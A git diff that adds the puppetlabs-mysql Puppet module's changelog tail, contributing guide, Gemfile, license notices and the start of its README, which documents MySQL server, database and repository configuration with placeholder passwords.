+## 2011-12-20 - Jeff McCune
+* (minor) Fixup typos in Modulefile metadata (a0ed6a1)
+
+## 2011-12-19 - Carl Caum
+* Only notify Exec to import sql if sql is given (0783c74)
+
+## 2011-12-19 - Carl Caum
+* (#11508) Only load sql_scripts on DB creation (e3b9fd9)
+
+## 2011-12-13 - Justin Ellison
+* Require not needed due to implicit dependencies (3058feb)
+
+## 2011-12-13 - Justin Ellison
+* Bug #11375: puppetlabs-mysql fails on CentOS/RHEL (a557b8d)
+
+## 2011-06-03 - Dan Bode - 0.0.1
+* initial commit
+
+[5.3.0]:https://github.com/puppetlabs/puppetlabs-mysql/compare/5.2.1...5.3.0
+[5.2.1]:https://github.com/puppetlabs/puppetlabs-mysql/compare/5.2.0...5.2.1
+[5.2.0]:https://github.com/puppetlabs/puppetlabs-mysql/compare/5.1.0...5.2.0
+[5.1.0]:https://github.com/puppetlabs/puppetlabs-mysql/compare/5.0.0...5.1.0
+[5.0.0]:https://github.com/puppetlabs/puppetlabs-mysql/compare/4.0.1...5.0.0
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/CONTRIBUTING.md b/modules/services/unix/database/mysql_stretch_compatible/mysql/CONTRIBUTING.md
new file mode 100644
index 000000000..1a9fb3a5c
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/CONTRIBUTING.md
@@ -0,0 +1,271 @@
+# Contributing to Puppet modules
+
+So you want to contribute to a Puppet module: Great! Below are some instructions to get you started doing
+that very thing while setting expectations around code quality as well as a few tips for making the
+process as easy as possible.
+
+### Table of Contents
+
+1. [Getting Started](#getting-started)
+1. [Commit Checklist](#commit-checklist)
+1. [Submission](#submission)
+1. [More about commits](#more-about-commits)
+1. [Testing](#testing)
+ - [Running Tests](#running-tests)
+ - [Writing Tests](#writing-tests)
+1. [Get Help](#get-help)
+
+## Getting Started
+
+- Fork the module repository on GitHub and clone to your workspace
+
+- Make your changes!
+
+## Commit Checklist
+
+### The Basics
+
+- [x] my commit is a single logical unit of work
+
+- [x] I have checked for unnecessary whitespace with "git diff --check"
+
+- [x] my commit does not include commented out code or unneeded files
+
+### The Content
+
+- [x] my commit includes tests for the bug I fixed or feature I added
+
+- [x] my commit includes appropriate documentation changes if it is introducing a new feature or changing existing functionality
+
+- [x] my code passes existing test suites
+
+### The Commit Message
+
+- [x] the first line of my commit message includes:
+
+ - [x] an issue number (if applicable), e.g. "(MODULES-xxxx) This is the first line"
+
+ - [x] a short description (50 characters is the soft limit, excluding ticket number(s))
+
+- [x] the body of my commit message:
+
+ - [x] is meaningful
+
+ - [x] uses the imperative, present tense: "change", not "changed" or "changes"
+
+ - [x] includes motivation for the change, and contrasts its implementation with the previous behavior
+
+## Submission
+
+### Pre-requisites
+
+- Make sure you have a [GitHub account](https://github.com/join)
+
+- [Create a ticket](https://tickets.puppet.com/secure/CreateIssue!default.jspa), or [watch the ticket](https://tickets.puppet.com/browse/) you are patching for.
+
+### Push and PR
+
+- Push your changes to your fork
+
+- [Open a Pull Request](https://help.github.com/articles/creating-a-pull-request-from-a-fork/) against the repository in the puppetlabs organization
+
+## More about commits
+
+ 1. Make separate commits for logically separate changes.
+
+ Please break your commits down into logically consistent units
+ which include new or changed tests relevant to the rest of the
+ change. The goal of doing this is to make the diff easier to
+ read for whoever is reviewing your code. In general, the easier
+ your diff is to read, the more likely someone will be happy to
+ review it and get it into the code base.
+
+ If you are going to refactor a piece of code, please do so as a
+ separate commit from your feature or bug fix changes.
+
+ We also really appreciate changes that include tests to make
+ sure the bug is not re-introduced, and that the feature is not
+ accidentally broken.
+
+ Describe the technical detail of the change(s). If your
+ description starts to get too long, that is a good sign that you
+ probably need to split up your commit into more finely grained
+ pieces.
+
+ Commits which plainly describe the things which help
+ reviewers check the patch and future developers understand the
+ code are much more likely to be merged in with a minimum of
+ bike-shedding or requested changes. Ideally, the commit message
+ would include information, and be in a form suitable for
+ inclusion in the release notes for the version of Puppet that
+ includes them.
+
+ Please also check that you are not introducing any trailing
+ whitespace or other "whitespace errors". You can do this by
+ running "git diff --check" on your changes before you commit.
+
+ 2. Sending your patches
+
+ To submit your changes via a GitHub pull request, we _highly_
+ recommend that you have them on a topic branch, instead of
+ directly on "master".
+ It makes things much easier to keep track of, especially if
+ you decide to work on another thing before your first change
+ is merged in.
+
+ GitHub has some pretty good
+ [general documentation](http://help.github.com/) on using
+ their site. They also have documentation on
+ [creating pull requests](https://help.github.com/articles/creating-a-pull-request-from-a-fork/).
+
+ In general, after pushing your topic branch up to your
+ repository on GitHub, you can switch to the branch in the
+ GitHub UI and click "Pull Request" towards the top of the page
+ in order to open a pull request.
+
+ 3. Update the related JIRA issue.
+
+ If there is a JIRA issue associated with the change you
+ submitted, then you should update the ticket to include the
+ location of your branch, along with any other commentary you
+ may wish to make.
+
+# Testing
+
+## Getting Started
+
+Our Puppet modules provide [`Gemfile`](./Gemfile)s, which can tell a Ruby package manager such as [bundler](http://bundler.io/) what Ruby packages,
+or Gems, are required to build, develop, and test this software.
+
+Please make sure you have [bundler installed](http://bundler.io/#getting-started) on your system, and then use it to
+install all dependencies needed for this project in the project root by running
+
+```shell
+% bundle install --path .bundle/gems
+Fetching gem metadata from https://rubygems.org/........
+Fetching gem metadata from https://rubygems.org/..
+Using rake (10.1.0)
+Using builder (3.2.2)
+-- 8><-- many more --><8 --
+Using rspec-system-puppet (2.2.0)
+Using serverspec (0.6.3)
+Using rspec-system-serverspec (1.0.0)
+Using bundler (1.3.5)
+Your bundle is complete!
+Use `bundle show [gemname]` to see where a bundled gem is installed.
+```
+
+NOTE: some systems may require you to run this command with sudo.
+
+If you already have those gems installed, make sure they are up-to-date:
+
+```shell
+% bundle update
+```
+
+## Running Tests
+
+With all dependencies in place and up-to-date, run the tests:
+
+### Unit Tests
+
+```shell
+% bundle exec rake spec
+```
+
+This executes all the [rspec tests](http://rspec-puppet.com/) in the directories defined [here](https://github.com/puppetlabs/puppetlabs_spec_helper/blob/699d9fbca1d2489bff1736bb254bb7b7edb32c74/lib/puppetlabs_spec_helper/rake_tasks.rb#L17) and so on.
+rspec tests may have the same kind of dependencies as the module they are testing. Although the module defines these dependencies in its [metadata.json](./metadata.json),
+rspec tests define them in [.fixtures.yml](./fixtures.yml).
+
+### Acceptance Tests
+
+Some Puppet modules also come with acceptance tests, which use [beaker][]. These tests spin up a virtual machine under
+[VirtualBox](https://www.virtualbox.org/), controlled with [Vagrant](http://www.vagrantup.com/), to simulate scripted test
+scenarios. In order to run these, you need both Virtualbox and Vagrant installed on your system.
+
+Run the tests by issuing the following command
+
+```shell
+% bundle exec rake spec_clean
+% bundle exec rspec spec/acceptance
+```
+
+This will now download a pre-fabricated image configured in the [default node-set](./spec/acceptance/nodesets/default.yml),
+install Puppet, copy this module, and install its dependencies per [spec/spec_helper_acceptance.rb](./spec/spec_helper_acceptance.rb)
+and then run all the tests under [spec/acceptance](./spec/acceptance).
+
+## Writing Tests
+
+### Unit Tests
+
+When writing unit tests for Puppet, [rspec-puppet][] is your best friend. It provides tons of helper methods for testing your manifests against a
+catalog (e.g. contain_file, contain_package, with_params, etc). It would be ridiculous to try and top rspec-puppet's [documentation][rspec-puppet_docs]
+but here's a tiny sample:
+
+Sample manifest:
+
+```puppet
+file { "a test file":
+ ensure => present,
+ path => "/etc/sample",
+}
+```
+
+Sample test:
+
+```ruby
+it 'does a thing' do
+ expect(subject).to contain_file("a test file").with({:path => "/etc/sample"})
+end
+```
+
+### Acceptance Tests
+
+Writing acceptance tests for Puppet involves [beaker][] and its cousin [beaker-rspec][]. A common pattern for acceptance tests is to create a test manifest, apply it
+twice to check for idempotency or errors, then run expectations.
+
+```ruby
+it 'does an end-to-end thing' do
+ pp = <<-EOF
+ file { 'a test file':
+ ensure => present,
+ path => "/etc/sample",
+ content => "test string",
+ }
+
+ apply_manifest(pp, :catch_failures => true)
+ apply_manifest(pp, :catch_changes => true)
+
+end
+
+describe file("/etc/sample") do
+ it { is_expected.to contain "test string" }
+end
+
+```
+
+# If you have commit access to the repository
+
+Even if you have commit access to the repository, you still need to go through the process above, and have someone else review and merge
+in your changes. The rule is that **all changes must be reviewed by a project developer that did not write the code to ensure that
+all changes go through a code review process.**
+
+The record of someone performing the merge is the record that they performed the code review. Again, this should be someone other than the author of the topic branch.
+
+# Get Help
+
+### On the web
+* [Puppet help messageboard](http://puppet.com/community/get-help)
+* [Writing tests](https://docs.puppet.com/guides/module_guides/bgtm.html#step-three-module-testing)
+* [General GitHub documentation](http://help.github.com/)
+* [GitHub pull request documentation](http://help.github.com/send-pull-requests/)
+
+### On chat
+* Slack (slack.puppet.com) #forge-modules, #puppet-dev, #windows, #voxpupuli
+* IRC (freenode) #puppet-dev, #voxpupuli
+
+
+[rspec-puppet]: http://rspec-puppet.com/
+[rspec-puppet_docs]: http://rspec-puppet.com/documentation/
+[beaker]: https://github.com/puppetlabs/beaker
+[beaker-rspec]: https://github.com/puppetlabs/beaker-rspec
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/Gemfile b/modules/services/unix/database/mysql_stretch_compatible/mysql/Gemfile
new file mode 100644
index 000000000..2ededb50a
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/Gemfile
@@ -0,0 +1,137 @@
+source ENV['GEM_SOURCE'] || 'https://rubygems.org'
+
+def location_for(place_or_version, fake_version = nil)
+ if place_or_version =~ %r{\A(git[:@][^#]*)#(.*)}
+ [fake_version, { git: Regexp.last_match(1), branch: Regexp.last_match(2), require: false }].compact
+ elsif place_or_version =~ %r{\Afile:\/\/(.*)}
+ ['>= 0', { path: File.expand_path(Regexp.last_match(1)), require: false }]
+ else
+ [place_or_version, { require: false }]
+ end
+end
+
+def gem_type(place_or_version)
+ if place_or_version =~ %r{\Agit[:@]}
+ :git
+ elsif !place_or_version.nil? && place_or_version.start_with?('file:')
+ :file
+ else
+ :gem
+ end
+end
+
+ruby_version_segments = Gem::Version.new(RUBY_VERSION.dup).segments
+minor_version = ruby_version_segments[0..1].join('.')
+
+group :development do
+ gem "fast_gettext", '1.1.0', require: false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.1.0')
+ gem "fast_gettext", require: false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.1.0')
+ gem "json_pure", '<= 2.0.1', require: false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0')
+ gem "json", '= 1.8.1', require: false if Gem::Version.new(RUBY_VERSION.dup) == Gem::Version.new('2.1.9')
+ gem "puppet-module-posix-default-r#{minor_version}", require: false, platforms: [:ruby]
+ gem "puppet-module-posix-dev-r#{minor_version}", require: false, platforms: [:ruby]
+ gem "puppet-module-win-default-r#{minor_version}", require: false, platforms: [:mswin, :mingw, :x64_mingw]
+ gem "puppet-module-win-dev-r#{minor_version}", require: false, platforms: [:mswin, :mingw, :x64_mingw]
+ gem "puppet-blacksmith", '~> 3.4', require: false
+ gem "puppet-lint-i18n", require: false
+end
+group :system_tests do
+ gem "puppet-module-posix-system-r#{minor_version}", require: false, platforms: [:ruby]
+ gem "puppet-module-win-system-r#{minor_version}", require: false, platforms: [:mswin, :mingw, :x64_mingw]
+ gem "beaker", *location_for(ENV['BEAKER_VERSION'] || '~> 3.13')
+ gem "beaker-abs", *location_for(ENV['BEAKER_ABS_VERSION'] || '~> 0.1')
+ gem "beaker-pe", require: false
+ gem "beaker-hostgenerator"
+ gem "beaker-rspec"
+end
+
+puppet_version = ENV['PUPPET_GEM_VERSION']
+puppet_type = gem_type(puppet_version)
+facter_version = ENV['FACTER_GEM_VERSION']
+hiera_version = ENV['HIERA_GEM_VERSION']
+
+def puppet_older_than?(version)
+ puppet_version = ENV['PUPPET_GEM_VERSION']
+ !puppet_version.nil? &&
+ Gem::Version.correct?(puppet_version) &&
+ Gem::Requirement.new("< #{version}").satisfied_by?(Gem::Version.new(puppet_version.dup))
+end
+
+gems = {}
+
+gems['puppet'] = location_for(puppet_version)
+
+# If facter or hiera versions have been specified via the environment
+# variables, use those versions. If not, and if the puppet version is < 3.5.0,
+# use known good versions of both for puppet < 3.5.0.
+if facter_version
+ gems['facter'] = location_for(facter_version)
+elsif puppet_type == :gem && puppet_older_than?('3.5.0')
+ gems['facter'] = ['>= 1.6.11', '<= 1.7.5', require: false]
+end
+
+if hiera_version
+ gems['hiera'] = location_for(ENV['HIERA_GEM_VERSION'])
+elsif puppet_type == :gem && puppet_older_than?('3.5.0')
+ gems['hiera'] = ['>= 1.0.0', '<= 1.3.0', require: false]
+end
+
+if Gem.win_platform? && (puppet_type != :gem || puppet_older_than?('3.5.0'))
+ # For Puppet gems < 3.5.0 (tested as far back as 3.0.0) on Windows
+ if puppet_type == :gem
+ gems['ffi'] = ['1.9.0', require: false]
+ gems['minitar'] = ['0.5.4', require: false]
+ gems['win32-eventlog'] = ['0.5.3', '<= 0.6.5', require: false]
+ gems['win32-process'] = ['0.6.5', '<= 0.7.5', require: false]
+ gems['win32-security'] = ['~> 0.1.2', '<= 0.2.5', require: false]
+ gems['win32-service'] = ['0.7.2', '<= 0.8.8', require: false]
+ else
+ gems['ffi'] = ['~> 1.9.0', require: false]
+ gems['minitar'] = ['~> 0.5.4', require: false]
+ gems['win32-eventlog'] = ['~> 0.5', '<= 0.6.5', require: false]
+ gems['win32-process'] = ['~> 0.6', '<= 0.7.5', require: false]
+ gems['win32-security'] = ['~> 0.1', '<= 0.2.5', require: false]
+ gems['win32-service'] = ['~> 0.7', '<= 0.8.8', require: false]
+ end
+
+ gems['win32-dir'] = ['~> 0.3', '<= 0.4.9', require: false]
+
+ if RUBY_VERSION.start_with?('1.')
+ gems['win32console'] = ['1.3.2', require: false]
+ # sys-admin was removed in Puppet 3.7.0 and doesn't compile under Ruby 2.x
+ gems['sys-admin'] = ['1.5.6', require: false]
+ end
+
+ # Puppet < 3.7.0 requires these.
+ # Puppet >= 3.5.0 gem includes these as requirements.
+ # The following versions are tested to work with 3.0.0 <= puppet < 3.7.0.
+ gems['win32-api'] = ['1.4.8', require: false]
+ gems['win32-taskscheduler'] = ['0.2.2', require: false]
+ gems['windows-api'] = ['0.4.3', require: false]
+ gems['windows-pr'] = ['1.2.3', require: false]
+elsif Gem.win_platform?
+ # If we're using a Puppet gem on Windows which handles its own win32-xxx gem
+ # dependencies (>= 3.5.0), set the maximum versions (see PUP-6445).
+ gems['win32-dir'] = ['<= 0.4.9', require: false]
+ gems['win32-eventlog'] = ['<= 0.6.5', require: false]
+ gems['win32-process'] = ['<= 0.7.5', require: false]
+ gems['win32-security'] = ['<= 0.2.5', require: false]
+ gems['win32-service'] = ['<= 0.8.8', require: false]
+end
+
+gems.each do |gem_name, gem_params|
+ gem gem_name, *gem_params
+end
+
+# Evaluate Gemfile.local and ~/.gemfile if they exist
+extra_gemfiles = [
+ "#{__FILE__}.local",
+ File.join(Dir.home, '.gemfile'),
+]
+
+extra_gemfiles.each do |gemfile|
+ if File.file?(gemfile) && File.readable?(gemfile)
+ eval(File.read(gemfile), binding)
+ end
+end
+# vim: syntax=ruby
diff --git a/modules/services/unix/database/mysql/LICENSE b/modules/services/unix/database/mysql_stretch_compatible/mysql/LICENSE
similarity index 100%
rename from modules/services/unix/database/mysql/LICENSE
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/LICENSE
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/MAINTAINERS.md b/modules/services/unix/database/mysql_stretch_compatible/mysql/MAINTAINERS.md
new file mode 100644
index 000000000..31c2e390d
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/MAINTAINERS.md
@@ -0,0 +1,6 @@
+## Maintenance
+
+Maintainers:
+ - Puppet Forge Modules Team `forge-modules |at| puppet |dot| com`
+
+Tickets: https://tickets.puppet.com/browse/MODULES. Make sure to set component to `mysql`.
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/NOTICE b/modules/services/unix/database/mysql_stretch_compatible/mysql/NOTICE
new file mode 100644
index 000000000..efe67c40a
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/NOTICE
@@ -0,0 +1,15 @@
+Puppet Module - puppetlabs-mysql
+
+Copyright 2018 Puppet, Inc.
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
\ No newline at end of file
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/README.md b/modules/services/unix/database/mysql_stretch_compatible/mysql/README.md
new file mode 100644
index 000000000..b7273d050
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/README.md
@@ -0,0 +1,1329 @@
+# mysql
+
+#### Table of Contents
+
+1. [Module Description - What the module does and why it is useful](#module-description)
+2. [Setup - The basics of getting started with mysql](#setup)
+ * [Beginning with mysql](#beginning-with-mysql)
+3. [Usage - Configuration options and additional functionality](#usage)
+ * [Customize server options](#customize-server-options)
+ * [Create a database](#create-a-database)
+ * [Customize configuration](#customize-configuration)
+ * [Work with an existing server](#work-with-an-existing-server)
+ * [Specify passwords](#specify-passwords)
+ * [Install Percona server on CentOS](#install-percona-server-on-centos)
+ * [Install MariaDB on Ubuntu](#install-mariadb-on-ubuntu)
+4. [Reference - An under-the-hood peek at what the module is doing and how](#reference)
+5. [Limitations - OS compatibility, etc.](#limitations)
+6. [Development - Guide for contributing to the module](#development)
+
+## Module Description
+
+The mysql module installs, configures, and manages the MySQL service.
+
+This module manages both the installation and configuration of MySQL, as well as extending Puppet to allow management of MySQL resources, such as databases, users, and grants.
+
+## Setup
+
+### Beginning with mysql
+
+To install a server with the default options:
+
+`include '::mysql::server'`.
+
+To customize options, such as the root password or `/etc/my.cnf` settings, you must also pass in an override hash:
+
+```puppet
+class { '::mysql::server':
+ root_password => 'strongpassword',
+ remove_default_accounts => true,
+ override_options => $override_options
+}
+```
+
+See [**Customize Server Options**](#customize-server-options) below for examples of the hash structure for $override_options.
+
+## Usage
+
+All interaction for the server is done via `mysql::server`. To install the client, use `mysql::client`. To install bindings, use `mysql::bindings`.
+
+### Customize server options
+
+To define server options, structure a hash structure of overrides in `mysql::server`. This hash resembles a hash in the my.cnf file:
+
+```puppet
+$override_options = {
+ 'section' => {
+ 'item' => 'thing',
+ }
+}
+```
+
+For options that you would traditionally represent in this format:
+
+```
+[section]
+thing = X
+```
+
+Entries can be created as `thing => true`, `thing => value`, or `thing => ""` in the hash. Alternatively, you can pass an array as `thing => ['value', 'value2']` or list each `thing => value` separately on individual lines.
+
+You can pass a variable in the hash without setting a value for it; the variable would then use MySQL's default settings. To exclude an option from the `my.cnf` file --- for example, when using `override_options` to revert to a default value --- pass `thing => undef`.
+
+If an option needs multiple instances, pass an array. For example,
+
+```puppet
+$override_options = {
+ 'mysqld' => {
+ 'replicate-do-db' => ['base1', 'base2'],
+ }
+}
+```
+
+produces
+
+```puppet
+[mysqld]
+replicate-do-db = base1
+replicate-do-db = base2
+```
+
+To implement version specific parameters, specify the version, such as [mysqld-5.5]. This allows one config for different versions of MySQL.
+
+### Create a database
+
+To create a database with a user and some assigned privileges:
+
+```puppet
+mysql::db { 'mydb':
+ user => 'myuser',
+ password => 'mypass',
+ host => 'localhost',
+ grant => ['SELECT', 'UPDATE'],
+}
+```
+
+To use a different resource name with exported resources:
+
+```puppet
+ @@mysql::db { "mydb_${fqdn}":
+ user => 'myuser',
+ password => 'mypass',
+ dbname => 'mydb',
+ host => ${fqdn},
+ grant => ['SELECT', 'UPDATE'],
+ tag => $domain,
+}
+```
+
+Then you can collect it on the remote DB server:
+
+```puppet
+Mysql::Db <<| tag == $domain |>>
+```
+
+If you set the sql parameter to a file when creating a database, the file is imported into the new database.
+
+For large sql files, increase the `import_timeout` parameter, which defaults to 300 seconds.
+
+```puppet
+mysql::db { 'mydb':
+ user => 'myuser',
+ password => 'mypass',
+ host => 'localhost',
+ grant => ['SELECT', 'UPDATE'],
+ sql => '/path/to/sqlfile.gz',
+ import_cat_cmd => 'zcat',
+ import_timeout => 900,
+}
+```
+
+### Customize configuration
+
+To add custom MySQL configuration, place additional files into `includedir`. This allows you to override settings or add additional ones, which is helpful if you don't use `override_options` in `mysql::server`. The `includedir` location is by default set to `/etc/mysql/conf.d`.
+
+### Work with an existing server
+
+To instantiate databases and users on an existing MySQL server, you need a `.my.cnf` file in `root`'s home directory. This file must specify the remote server address and credentials. For example:
+
+```puppet
+[client]
+user=root
+host=localhost
+password=secret
+```
+
+This module uses the `mysqld_version` fact to discover the server version being used. By default, this is set to the output of `mysqld -V`. If you're working with a remote MySQL server, you may need to set a custom fact for `mysqld_version` to ensure correct behaviour.
+
+When working with a remote server, do *not* use the `mysql::server` class in your Puppet manifests.
+
+### Specify passwords
+
+In addition to passing passwords as plain text, you can input them as hashes. For example:
+
+```puppet
+mysql::db { 'mydb':
+ user => 'myuser',
+ password => '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4',
+ host => 'localhost',
+ grant => ['SELECT', 'UPDATE'],
+}
+```
+
+### Install Percona server on CentOS
+
+This example shows how to do a minimal installation of a Percona server on a
+CentOS system. This sets up the Percona server, client, and bindings (including Perl and Python bindings). You can customize this usage and update the version as needed.
+
+This usage has been tested on Puppet 4.4 / CentOS 7 / Percona Server 5.7.
+
+**Note:** The installation of the yum repository is not part of this package
+and is here only to show a full example of how you can install.
+
+```puppet
+yumrepo { 'percona':
+ descr => 'CentOS $releasever - Percona',
+ baseurl => 'http://repo.percona.com/centos/$releasever/os/$basearch/',
+ gpgkey => 'http://www.percona.com/downloads/percona-release/RPM-GPG-KEY-percona',
+ enabled => 1,
+ gpgcheck => 1,
+}
+
+class {'mysql::server':
+ package_name => 'Percona-Server-server-57',
+ package_ensure => '5.7.11-4.1.el7',
+ service_name => 'mysql',
+ config_file => '/etc/my.cnf',
+ includedir => '/etc/my.cnf.d',
+ root_password => 'PutYourOwnPwdHere',
+ override_options => {
+ mysqld => {
+ log-error => '/var/log/mysqld.log',
+ pid-file => '/var/run/mysqld/mysqld.pid',
+ },
+ mysqld_safe => {
+ log-error => '/var/log/mysqld.log',
+ },
+ }
+}
+
+# Note: Installing Percona-Server-server-57 also installs Percona-Server-client-57.
+# This shows how to install the Percona MySQL client on its own
+class {'mysql::client':
+ package_name => 'Percona-Server-client-57',
+ package_ensure => '5.7.11-4.1.el7',
+}
+
+# These packages are normally installed along with Percona-Server-server-57
+# If you needed to install the bindings, however, you could do so with this code
+class { 'mysql::bindings':
+ client_dev_package_name => 'Percona-Server-shared-57',
+ client_dev_package_ensure => '5.7.11-4.1.el7',
+ client_dev => true,
+ daemon_dev_package_name => 'Percona-Server-devel-57',
+ daemon_dev_package_ensure => '5.7.11-4.1.el7',
+ daemon_dev => true,
+ perl_enable => true,
+ perl_package_name => 'perl-DBD-MySQL',
+ python_enable => true,
+ python_package_name => 'MySQL-python',
+}
+
+# Dependencies definition
+Yumrepo['percona']->
+Class['mysql::server']
+
+Yumrepo['percona']->
+Class['mysql::client']
+
+Yumrepo['percona']->
+Class['mysql::bindings']
+```
+
+### Install MariaDB on Ubuntu
+
+#### Optional: Install the MariaDB official repo
+
+In this example, we'll use the latest stable (currently 10.1) from the official MariaDB repository, not the one from the distro repository. You could instead use the package from the Ubuntu repository. Make sure you use the repository corresponding to the version you want.
+
+**Note:** `sfo1.mirrors.digitalocean.com` is one of many mirrors available. You can use any official mirror.
+
+```puppet
+include apt
+
+apt::source { 'mariadb':
+ location => 'http://sfo1.mirrors.digitalocean.com/mariadb/repo/10.1/ubuntu',
+ release => $::lsbdistcodename,
+ repos => 'main',
+ key => {
+ id => '199369E5404BD5FC7D2FE43BCBCB082A1BB943DB',
+ server => 'hkp://keyserver.ubuntu.com:80',
+ },
+ include => {
+ src => false,
+ deb => true,
+ },
+}
+```
+
+#### Install the MariaDB server
+
+This example shows MariaDB server installation on Ubuntu Trusty. Adjust the version and the parameters of `my.cnf` as needed. All parameters of the `my.cnf` can be defined using the `override_options` parameter.
+
+The folders `/var/log/mysql` and `/var/run/mysqld` are created automatically, but if you are using other custom folders, they should exist as prerequisites for this code.
+
+All the values set here are an example of a working minimal configuration.
+
+Specify the version of the package you want with the `package_ensure` parameter.
+
+```puppet
+class {'::mysql::server':
+ package_name => 'mariadb-server',
+ package_ensure => '10.1.14+maria-1~trusty',
+ service_name => 'mysql',
+ root_password => 'AVeryStrongPasswordUShouldEncrypt!',
+ override_options => {
+ mysqld => {
+ 'log-error' => '/var/log/mysql/mariadb.log',
+ 'pid-file' => '/var/run/mysqld/mysqld.pid',
+ },
+ mysqld_safe => {
+ 'log-error' => '/var/log/mysql/mariadb.log',
+ },
+ }
+}
+
+# Dependency management. Only use that part if you are installing the repository
+# as shown in the Preliminary step of this example.
+Apt::Source['mariadb'] ~>
+Class['apt::update'] ->
+Class['::mysql::server']
+
+```
+
+#### Install the MariaDB client
+
+This example shows how to install the MariaDB client and all of the bindings at once. You can do this installation separately from the server installation.
+
+Specify the version of the package you want with the `package_ensure` parameter.
+
+```puppet
+class {'::mysql::client':
+ package_name => 'mariadb-client',
+ package_ensure => '10.1.14+maria-1~trusty',
+ bindings_enable => true,
+}
+
+# Dependency management. Only use that part if you are installing the repository as shown in the Preliminary step of this example.
+Apt::Source['mariadb'] ~>
+Class['apt::update'] ->
+Class['::mysql::client']
+```
+
+### Install MySQL Community server on CentOS
+
+You can install MySQL Community Server on CentOS using the mysql module and Hiera. This example was tested with the following versions:
+
+* MySQL Community Server 5.6
+* Centos 7.3
+* Puppet 3.8.7 using Hiera
+* puppetlabs-mysql module v3.9.0
+
+In Puppet:
+
+```puppet
+include ::mysql::server
+
+create_resources(yumrepo, hiera('yumrepo', {}))
+
+Yumrepo['repo.mysql.com'] -> Anchor['mysql::server::start']
+Yumrepo['repo.mysql.com'] -> Package['mysql_client']
+
+create_resources(mysql::db, hiera('mysql::server::db', {}))
+```
+
+In Hiera:
+
+```yaml
+---
+
+# Centos 7.3
+yumrepo:
+ 'repo.mysql.com':
+ baseurl: "http://repo.mysql.com/yum/mysql-5.6-community/el/%{::operatingsystemmajrelease}/$basearch/"
+ descr: 'repo.mysql.com'
+ enabled: 1
+ gpgcheck: true
+ gpgkey: 'http://repo.mysql.com/RPM-GPG-KEY-mysql'
+
+mysql::client::package_name: "mysql-community-client" # required for proper MySQL installation
+mysql::server::package_name: "mysql-community-server" # required for proper MySQL installation
+mysql::server::package_ensure: 'installed' # do not specify version here, unfortunately yum fails with error that package is already installed
+mysql::server::root_password: "change_me_i_am_insecure"
+mysql::server::manage_config_file: true
+mysql::server::service_name: 'mysqld' # required for puppet module
+mysql::server::override_options:
+ 'mysqld':
+ 'bind-address': '127.0.0.1'
+ 'log-error': /var/log/mysqld.log' # required for proper MySQL installation
+ 'mysqld_safe':
+ 'log-error': '/var/log/mysqld.log' # required for proper MySQL installation
+
+# create database + account with access, passwords are not encrypted
+mysql::server::db:
+ "dev":
+ user: "dev"
+ password: "devpass"
+ host: "127.0.0.1"
+ grant:
+ - "ALL"
+
+```
+
+
+## Reference
+
+### Classes
+
+#### Public classes
+
+* [`mysql::server`](#mysqlserver): Installs and configures MySQL.
+* [`mysql::server::monitor`](#mysqlservermonitor): Sets up a monitoring user.
+* [`mysql::server::mysqltuner`](#mysqlservermysqltuner): Installs MySQL tuner script.
+* [`mysql::server::backup`](#mysqlserverbackup): Sets up MySQL backups via cron.
+* [`mysql::bindings`](#mysqlbindings): Installs various MySQL language bindings.
+* [`mysql::client`](#mysqlclient): Installs MySQL client (for non-servers).
+
+#### Private classes
+
+* `mysql::server::install`: Installs packages.
+* `mysql::server::installdb`: Implements setup of mysqld data directory (e.g. /var/lib/mysql)
+* `mysql::server::config`: Configures MYSQL.
+* `mysql::server::service`: Manages service.
+* `mysql::server::account_security`: Deletes default MySQL accounts.
+* `mysql::server::root_password`: Sets MySQL root password.
+* `mysql::server::providers`: Creates users, grants, and databases.
+* `mysql::bindings::client_dev`: Installs MySQL client development package.
+* `mysql::bindings::daemon_dev`: Installs MySQL daemon development package.
+* `mysql::bindings::java`: Installs Java bindings.
+* `mysql::bindings::perl`: Installs Perl bindings.
+* `mysql::bindings::php`: Installs PHP bindings.
+* `mysql::bindings::python`: Installs Python bindings.
+* `mysql::bindings::ruby`: Installs Ruby bindings.
+* `mysql::client::install`: Installs MySQL client.
+* `mysql::backup::mysqldump`: Implements mysqldump backups.
+* `mysql::backup::mysqlbackup`: Implements backups with Oracle MySQL Enterprise Backup.
+* `mysql::backup::xtrabackup`: Implements backups with XtraBackup from Percona.
+
+### Parameters
+
+#### mysql::server
+
+##### `create_root_user`
+
+Whether root user should be created.
+
+Valid values are `true`, `false`.
+
+Defaults to `true`.
+
+This is useful for a cluster setup with Galera. The root user has to be created only once. You can set this parameter true on one node and set it to false on the remaining nodes.
+
+##### `create_root_my_cnf`
+
+Whether to create `/root/.my.cnf`.
+
+Valid values are `true`, `false`.
+
+Defaults to `true`.
+
+`create_root_my_cnf` allows creation of `/root/.my.cnf` independently of `create_root_user`. You can use this for a cluster setup with Galera where you want `/root/.my.cnf` to exist on all nodes.
+
+##### `root_password`
+
+The MySQL root password. Puppet attempts to set the root password and update `/root/.my.cnf` with it.
+
+This is required if `create_root_user` or `create_root_my_cnf` are true. If `root_password` is 'UNSET', then `create_root_user` and `create_root_my_cnf` are assumed to be false --- that is, the MySQL root user and `/root/.my.cnf` are not created.
+
